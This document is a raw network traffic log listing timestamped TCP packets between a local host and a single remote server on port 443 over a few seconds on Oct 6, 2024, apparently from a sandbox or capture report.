Oct 6, 2024 22:33:42.714416027 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.714941025 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.714960098 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.715462923 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.715467930 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.725145102 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.725605965 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.725614071 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.726030111 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.726033926 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.811167002 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.811583996 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.811609030 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.811965942 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.811975002 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.816848040 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.817183971 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.817262888 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.817502022 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.817517042 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.817986965 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.818078041 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.818116903 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.818129063 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.818172932 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.818213940 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.818238974 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.818250895 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.818255901 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.821084023 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.821158886 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.821257114 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.821400881 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.821424961 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.826107979 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.826308012 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.826371908 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.826414108 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.826419115 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.826436996 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.826441050 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.828439951 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.828466892 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.828541040 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.828669071 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.828681946 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.849081993 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.849463940 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.849488974 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.849693060 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.849699020 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.910804033 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.910960913 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.911022902 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.911062956 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.911062956 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.911082983 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.911096096 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.913371086 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.913393974 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.913461924 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.913579941 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.913588047 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.919853926 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.919920921 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.919986963 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.920017958 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.920073986 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.920124054 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.920183897 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.920222044 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.920238018 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.922436953 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.922461033 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.922532082 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.922646999 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.922662973 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.950609922 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.950761080 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.950836897 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.950853109 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.950906992 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.950932026 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.950949907 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.950959921 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.950963974 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.956523895 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.956538916 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.956594944 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.956806898 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.956813097 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.474509001 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.475028038 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.475038052 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.475687981 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.475692987 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.487903118 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.488241911 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.488256931 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.488791943 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.488796949 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.553857088 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.554307938 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.554317951 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.554673910 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.554678917 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.577539921 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.577687025 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.577758074 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.577908039 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.577918053 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.577928066 CEST	49967	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.577933073 CEST	443	49967	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.580832005 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.580851078 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.580924034 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.581054926 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.581058979 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.591675997 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.592113972 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.592183113 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.592217922 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.592235088 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.592246056 CEST	49966	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.592252016 CEST	443	49966	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.593894005 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.594280958 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.594293118 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.594553947 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.594588995 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.594655991 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.594769001 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.594783068 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.594894886 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.594901085 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.606779099 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.607162952 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.607177019 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.607517004 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.607522011 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.651988983 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.652240038 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.652314901 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.652339935 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.652339935 CEST	49968	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.652350903 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.652359009 CEST	443	49968	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.660124063 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.660170078 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.660254955 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.660382032 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.660387993 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.706619978 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.706708908 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.706788063 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.706798077 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.706851959 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.707037926 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.707047939 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.707078934 CEST	49969	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.707084894 CEST	443	49969	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.709387064 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.709408998 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.709490061 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.709600925 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.709611893 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.710397959 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.710586071 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.710664034 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.710701942 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.710705996 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.710716963 CEST	49970	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.710724115 CEST	443	49970	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.712627888 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.712661982 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:43.712742090 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.712909937 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:43.712943077 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.232192993 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.232820988 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.232877970 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.233493090 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.233508110 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.234013081 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.234319925 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.234329939 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.234695911 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.234699965 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.331079960 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.331515074 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.331608057 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.332072020 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.332118988 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.332154036 CEST	49972	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.332176924 CEST	443	49972	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.334120035 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.334218025 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.334279060 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.334464073 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.334475040 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.334486961 CEST	49971	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.334492922 CEST	443	49971	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.335702896 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.335747004 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.335825920 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.336061001 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.336072922 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.337009907 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.337033033 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.337038040 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.337101936 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.337258101 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.337265015 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.337505102 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.337533951 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.338337898 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.338342905 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.365919113 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.366323948 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.366373062 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.366697073 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.366708994 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.394061089 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.394488096 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.394506931 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.394813061 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.394819021 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.439615965 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.439759016 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.439846039 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.439954996 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.439965010 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.439974070 CEST	49973	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.439977884 CEST	443	49973	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.442363977 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.442379951 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.442465067 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.442631006 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.442650080 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.465692997 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.465900898 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.465974092 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.466028929 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.466056108 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.466088057 CEST	49975	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.466103077 CEST	443	49975	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.468250036 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.468277931 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.468343973 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.468521118 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.468528032 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.497848988 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.497912884 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.498106003 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.498397112 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.498409986 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.498435020 CEST	49974	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.498440027 CEST	443	49974	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.500684023 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.500720978 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.500788927 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.500922918 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.500938892 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.974107981 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.974679947 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.974692106 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:44.975320101 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:44.975327969 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.007198095 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.008050919 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.008065939 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.008655071 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.008660078 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.073905945 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.073980093 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.074059963 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.083679914 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.083679914 CEST	49976	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.083707094 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.083719015 CEST	443	49976	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.088649988 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.091026068 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.091053009 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.091175079 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.091790915 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.091806889 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.092818022 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.092823982 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.093326092 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.093344927 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.102312088 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.102813959 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.102827072 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.103522062 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.103528976 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.114054918 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.114193916 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.114228010 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.114237070 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.114248991 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.114298105 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.114567041 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.114578962 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.114590883 CEST	49977	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.114595890 CEST	443	49977	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.117338896 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.117350101 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.117415905 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.117585897 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.117598057 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.165281057 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.165672064 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.165699005 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.166249037 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.166255951 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.188550949 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.189131975 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.189214945 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.189393044 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.189393044 CEST	49978	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.189425945 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.189449072 CEST	443	49978	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.191759109 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.191797018 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.191874027 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.192013979 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.192030907 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.200670004 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.200965881 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.201013088 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.201081038 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.201081038 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.201117039 CEST	49979	443	192.168.2.4	13.107.246.45
